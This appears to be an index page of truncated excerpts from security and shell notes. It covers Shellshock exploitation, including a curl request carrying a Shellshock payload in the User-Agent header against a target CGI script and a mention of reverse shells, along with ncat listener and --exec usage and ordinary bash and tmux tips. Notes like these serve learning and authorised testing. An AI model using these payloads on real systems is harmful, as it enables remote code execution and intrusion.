• Shellshock

    Old­er bash ver­sions may exe­cute code after func­tion definitions. Via command line Source with explanation export newfunction='() { echo 'shellshockdemo';}; echo vulnerable' Via a web server / CGI script Cau­tion: Try the reverse shell exam­ple in Burp also if the curl com­mand fails! curl http://$target/cgi-bin/admin.cgi -s > before curl -H "User-Agent: () { :; }; /bin/bash…

  • Bash exploits

    Shellshock A func­tion in a envi­ron­ment vari­able is exe­cut­ed in a child process of the bash. When export­ing a new func­tion like this export func=’() { echo mist; }; echo aha;’ and start­ing a new bash ses­sion, “aha” is executed.

  • tmux

    Cre­ate a session tmux new -s <name>

  • Bash notes

    Use dash, which does­n’t drop privileges. Argu­ments ls Order by the last recent mod­i­fied file: ls -t Better history Add this to .bashrc HISTSIZE=10000 HISTTIMEFORMAT='%F %T ' Han­dling from files with starting - cp -- -file.txt file.txt STDOUT, STDIN and STDERR (redirection) Out­put STDERR (2) also on STDOUT (1) cmd 2>&1 man Seach­ing for a key­word in…

  • ncat

    Namenskonfusion Datei ausliefern: echo -e "HTTP/1.1 200 OK\nContent-Length: 5\n\nHallo" | nc -l localhost 8000 Datei anfragen über SSL: echo -e "GET / HTTP/1.1\nHost: localhost\n\n" | ncat -C --ssl localhost 443 Gebe Ausgabe von Programm zurück: ncat -l localhost 3000 --exec /bin/date Datei direkt übertragen (unverschlüsselt!): 1. Empfänger: user@host02:~$ ncat -l > aha oder nc -nlvp 4444…